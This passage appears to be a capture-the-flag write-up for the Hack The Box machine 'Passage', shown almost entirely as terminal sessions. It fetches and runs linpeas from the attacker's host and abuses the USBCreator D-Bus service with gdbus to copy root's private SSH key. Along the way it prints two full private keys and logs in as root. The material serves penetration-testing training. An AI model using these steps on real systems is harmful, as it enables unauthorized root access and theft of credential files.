Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
|
||
Warning: Permanently added '10.10.10.206' (ECDSA) to the list of known hosts.
|
||
paul@passage:~$ id
|
||
uid=1001(paul) gid=1001(paul) groups=1001(paul)
|
||
paul@passage:~$ wget http://10.10.14.11:9090/linpeas.sh -O /tmp/peas.sh
|
||
--2021-06-27 11:00:53-- http://10.10.14.11:9090/linpeas.sh
|
||
Connecting to 10.10.14.11:9090... connected.
|
||
HTTP request sent, awaiting response... 200 OK
|
||
Length: 341863 (334K) [text/x-sh]
|
||
Saving to: ‘/tmp/peas.sh’
|
||
|
||
/tmp/peas.sh 100%[===============================================================>] 333.85K 172KB/s in 1.9s
|
||
|
||
2021-06-27 11:00:56 (172 KB/s) - ‘/tmp/peas.sh’ saved [341863/341863]
|
||
|
||
paul@passage:~$ chmod +x /tmp/peas.sh
|
||
paul@passage:~$ /tmp/peas.sh
|
||
|
||
|
||
|
||
` 
|
||
|
||
Let linpeas.sh run a bit and then when we check the output we stumble upon USBCreator as a DBus Service Object:
|
||
|
||
 
|
||
|
||
Linpeas.sh clearly tells us that USBCreator is vulnerable so let's investigate, after a bit of googling we find [this](https://unit42.paloaltonetworks.com/usbcreator-d-bus-privilege-escalation-in-ubuntu-desktop/) blogpost which explains how to privesc using USBCreator:
|
||
|
||
|
||
|
||
Basically we can copy files as the root user, for example the root flag or the root user's private ssh keys, so let's do it:
|
||
|
||
|
||
paul@passage:~$ gdbus call --system --dest com.ubuntu.USBCreator --object-path /com/ubuntu/USBCreator --method com.ubuntu.USBCreator.Image /root/.ssh/id_rsa /tmp/id_rsa true
|
||
Error: GDBus.Error:org.freedesktop.DBus.Python.dbus.exceptions.DBusException: com.ubuntu.USBCreator.Error.NotAuthorized
|
||
(According to introspection data, you need to pass 'ssb')
|
||
|
||
|
||
|
||
Obviously we can't do that with the user paul we need to do it with the user called **nadav** , however for some reason as you can see here, the user paul seems to have nadav's public ssh key here so it's safe to assume that the private ssh key that is associated with paul's account is actually nadav's account:
|
||
|
||
|
||
paul@passage:~$ cat ~/.ssh/authorized_keys
|
||
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCzXiscFGV3l9T2gvXOkh9w+BpPnhFv5AOPagArgzWDk9uUq7/4v4kuzso/lAvQIg2gYaEHlDdpqd9gCYA7tg76N5RLbroGqA6Po91Q69PQadLsziJnYumbhClgPLGuBj06YKDktI3bo/H3jxYTXY3kfIUKo3WFnoVZiTmvKLDkAlO/+S2tYQa7wMleSR01pP4VExxPW4xDfbLnnp9zOUVBpdCMHl8lRdgogOQuEadRNRwCdIkmMEY5efV3YsYcwBwc6h/ZB4u8xPyH3yFlBNR7JADkn7ZFnrdvTh3OY+kLEr6FuiSyOEWhcPybkM5hxdL9ge9bWreSfNC1122qq49d nadav@passage
|
||
[...]
|
||
|
||
paul@passage:~/.ssh$ cat id_rsa.pub
|
||
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCzXiscFGV3l9T2gvXOkh9w+BpPnhFv5AOPagArgzWDk9uUq7/4v4kuzso/lAvQIg2gYaEHlDdpqd9gCYA7tg76N5RLbroGqA6Po91Q69PQadLsziJnYumbhClgPLGuBj06YKDktI3bo/H3jxYTXY3kfIUKo3WFnoVZiTmvKLDkAlO/+S2tYQa7wMleSR01pP4VExxPW4xDfbLnnp9zOUVBpdCMHl8lRdgogOQuEadRNRwCdIkmMEY5efV3YsYcwBwc6h/ZB4u8xPyH3yFlBNR7JADkn7ZFnrdvTh3OY+kLEr6FuiSyOEWhcPybkM5hxdL9ge9bWreSfNC1122qq49d nadav@passage
|
||
|
||
|
||
|
||
So let's save the private key locally to ssh as the user nadav:
|
||
|
||
|
||
[terminal 1]
|
||
paul@passage:~/.ssh$ cat id_rsa
|
||
-----BEGIN RSA PRIVATE KEY-----
|
||
MIIEpAIBAAKCAQEAs14rHBRld5fU9oL1zpIfcPgaT54Rb+QDj2oAK4M1g5PblKu/
|
||
+L+JLs7KP5QL0CINoGGhB5Q3aanfYAmAO7YO+jeUS266BqgOj6PdUOvT0GnS7M4i
|
||
Z2Lpm4QpYDyxrgY9OmCg5LSN26Px948WE12N5HyFCqN1hZ6FWYk5ryiw5AJTv/kt
|
||
rWEGu8DJXkkdNaT+FRMcT1uMQ32y556fczlFQaXQjB5fJUXYKIDkLhGnUTUcAnSJ
|
||
JjBGOXn1d2LGHMAcHOof2QeLvMT8h98hZQTUeyQA5J+2RZ63b04dzmPpCxK+hbok
|
||
sjhFoXD8m5DOYcXS/YHvW1q3knzQtddtqquPXQIDAQABAoIBAGwqMHMJdbrt67YQ
|
||
eWztv1ofs7YpizhfVypH8PxMbpv/MR5xiB3YW0DH4Tz/6TPFJVR/K11nqxbkItlG
|
||
QXdArb2EgMAQcMwM0mManR7sZ9o5xsGY+TRBeMCYrV7kmv1ns8qddMkWfKlkL0lr
|
||
lxNsimGsGYq10ewXETFSSF/xeOK15hp5rzwZwrmI9No4FFrX6P0r7rdOaxswSFAh
|
||
zWd1GhYk+Z3qYUhCE0AxHxpM0DlNVFrIwc0DnM5jogO6JDxHkzXaDUj/A0jnjMMz
|
||
R0AyP/AEw7HmvcrSoFRx6k/NtzaePzIa2CuGDkz/G6OEhNVd2S8/enlxf51MIO/k
|
||
7u1gB70CgYEA1zLGA35J1HW7IcgOK7m2HGMdueM4BX8z8GrPIk6MLZ6w9X6yoBio
|
||
GS3B3ngOKyHVGFeQrpwT1a/cxdEi8yetXj9FJd7yg2kIeuDPp+gmHZhVHGcwE6C4
|
||
IuVrqUgz4FzyH1ZFg37embvutkIBv3FVyF7RRqFX/6y6X1Vbtk7kXsMCgYEA1WBE
|
||
LuhRFMDaEIdfA16CotRuwwpQS/WeZ8Q5loOj9+hm7wYCtGpbdS9urDHaMZUHysSR
|
||
AHRFxITr4Sbi51BHUsnwHzJZ0o6tRFMXacN93g3Y2bT9yZ2zj9kwGM25ySizEWH0
|
||
VvPKeRYMlGnXqBvJoRE43wdQaPGYgW2bj6Ylt18CgYBRzSsYCNlnuZj4rmM0m9Nt
|
||
1v9lucmBzWig6vjxwYnnjXsW1qJv2O+NIqefOWOpYaLvLdoBhbLEd6UkTOtMIrj0
|
||
KnjOfIETEsn2a56D5OsYNN+lfFP6Ig3ctfjG0Htnve0LnG+wHHnhVl7XSSAA9cP1
|
||
9pT2lD4vIil2M6w5EKQeoQKBgQCMMs16GLE1tqVRWPEH8LBbNsN0KbGqxz8GpTrF
|
||
d8dj23LOuJ9MVdmz/K92OudHzsko5ND1gHBa+I9YB8ns/KVwczjv9pBoNdEI5KOs
|
||
nYN1RJnoKfDa6WCTMrxUf9ADqVdHI5p9C4BM4Tzwwz6suV1ZFEzO1ipyWdO/rvoY
|
||
f62mdwKBgQCCvj96lWy41Uofc8y65CJi126M+9OElbhskRiWlB3OIDb51mbSYgyM
|
||
Uxu7T8HY2CcWiKGe+TEX6mw9VFxaOyiBm8ReSC7Sk21GASy8KgqtfZy7pZGvazDs
|
||
OR3ygpKs09yu7svQi8j2qwc7FL6DER74yws+f538hI7SHBv9fYPVyw==
|
||
|
||
[terminal 2]
|
||
[ 10.10.14.11/23 ] [ /dev/pts/0 ] [~/HTB/passage]
|
||
→ chmod 600 pkey
|
||
|
||
[ 10.10.14.11/23 ] [ /dev/pts/0 ] [~/HTB/passage]
|
||
→ ssh -i pkey nadav@10.10.10.206
|
||
Last login: Mon Aug 31 15:07:54 2020 from 127.0.0.1
|
||
nadav@passage:~$
|
||
|
||
|
||
Now let's try the gdbus privesc path:
|
||
|
||
|
||
nadav@passage:~$ gdbus call --system --dest com.ubuntu.USBCreator --object-path /com/ubuntu/USBCreator --method com.ubuntu.USBCreator.Image /root/.ssh/id_rsa /tmp/rootkey true
|
||
()
|
||
nadav@passage:~$ cat /tmp/rootkey
|
||
-----BEGIN RSA PRIVATE KEY-----
|
||
MIIEogIBAAKCAQEAth1mFSVw6Erdhv7qc+Z5KWQMPtwTsT9630uzpq5fBx/KKzqZ
|
||
B7G3ej77MN35+ULlwMcpoumayWK4yZ/AiJBm6FEVBGSwjSMpOGcNXTL1TClGWbdE
|
||
+WNBT+30n0XJzi/JPhpoWhXM4OqYLCysX+/b0psF0jYLWy0MjqCjCl/muQtD6f2e
|
||
jc2JY1KMMIppoq5DwB/jJxq1+eooLMWVAo9MDNDmxDiw+uWRUe8nj9qFK2LRKfG6
|
||
U6wnyQ10ANXIdRIY0bzzhQYTMyH7o5/sjddrRGMDZFmOq6wHYN5sUU+sZDYD18Yg
|
||
ezdTw/BBiDMEPzZuCUlW57U+eX3uY+/Iffl+AwIDAQABAoIBACFJkF4vIMsk3AcP
|
||
0zTqHJ1nLyHSQjs0ujXUdXrzBmWb9u0d4djZMAtFNc7B1C4ufyZUgRTJFETZKaOY
|
||
8q1Dj7vJDklmSisSETfBBl1RsiqApN5DNHVNIiQE/6CZNgDdFTCnzQkiUPePic8R
|
||
P1St2AVP1qmMvVimDFSJoiOEUfzidepXEEUQrByNmOJDtewMSm4aGz60ced2XCBr
|
||
GTt/wyo0y5ygRJkUcC+/o4/r2DQdrjCbeuyzAzzhFKQQx6HN5svzpi0jOWC0cB0W
|
||
GmAp5Q7fIFhuGyrxShs/BEuQP7q7Uti68iwEh2EZSlaMcBFEJvirWtIO7U3yIHYI
|
||
HnNlLvECgYEA7tpebu84sTuCarHwASAhstiCR5LMquX/tZtHi52qKKmYzG6wCCMg
|
||
S/go8DO8AX5mldkegD7KBmTeMNPKp8zuE8s+vpErCBH+4hOq6U1TwZvDQ2XY9HBz
|
||
aHz7vG5L8E7tYpJ64Tt8e0DcnQQtW8EqFIydipO0eLdxkIGykjWuYGsCgYEAwzBM
|
||
UZMmOcWvUULWf65VSoXE270AWP9Z/XuamG/hNpREDZEYvHmhucZBf1MSGGU/B7MC
|
||
YXbIs1sS6ehDcib8aCVdOqRIqhCqCd1xVnbE0T4F2s1yZkct09Bki6EuXPDo2vhy
|
||
/6v6oP+yT5z854Vfq0FWxmDUssMbjXkVLKIZ3skCgYAYvxsllzdidW3vq/vXwgJ7
|
||
yx7EV5tI4Yd6w1nIR0+H4vpnw9gNH8aK2G01ZcbGyNfMErCsTNUVkIHMwUSv2fWY
|
||
q2gWymeQ8Hxd4/fDMDXLS14Rr42o1bW/T6OtRCgt/59spQyCJW2iP3gb9IDWjs7T
|
||
TjZMUz1RfIARnr5nk5Q7fQKBgGESVxJGvT8EGoGuXODZAZ/zUQj7QP4B2G5hF2xy
|
||
T64GJKYeoA+z6gNrHs3EsX4idCtPEoMIQR45z/k2Qry1uNfOpUPxyhWR/g6z65bV
|
||
sGJjlyPPAvLsuVTbEfYDLfyY7yVfZEnU7Os+3x4K9BfsU7zm3NIB/CX/NGeybR5q
|
||
a7VJAoGANui4oMa/9x8FSoe6EPsqbUcbJCmSGPqS8i/WZpaSzn6nW+636uCgB+EP
|
||
WOtSvOSRRbx69j+w0s097249fX6eYyIJy+L1LevF092ExQdoc19JTTKJZiWwlk3j
|
||
MkLnfTuKj2nvqQQ2fq+tIYEhY6dcSRLDQkYMCg817zynfP0I69c=
|
||
-----END RSA PRIVATE KEY-----
|
||
|
||
|
||
And we managed to get the root user's private ssh key! Now let's login as root via ssh to get the root flag:
|
||
|
||
|
||
[ 10.10.14.11/23 ] [ /dev/pts/28 ] [~/HTB/passage]
|
||
→ chmod 600 rootkey
|
||
|
||
[ 10.10.14.11/23 ] [ /dev/pts/28 ] [~/HTB/passage]
|
||
→ ssh -i rootkey root@10.10.10.206
|
||
Last login: Mon Aug 31 15:14:22 2020 from 127.0.0.1
|
||
root@passage:~# cat root.txt
|
||
4bf9ee15ce09ee77580ac8d850f19cbb
|
||
root@passage:~# id
|
||
uid=0(root) gid=0(root) groups=0(root)
|
||
root@passage:~# cat root.txt
|
||
4bXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
|
||
|
||
|
||
|
||
And we managed to get the root flag.
|
||
|
||
## **Conclusion**
|
||
|
||
Here we can see the progress graph :
|
||
|
||
|
||
|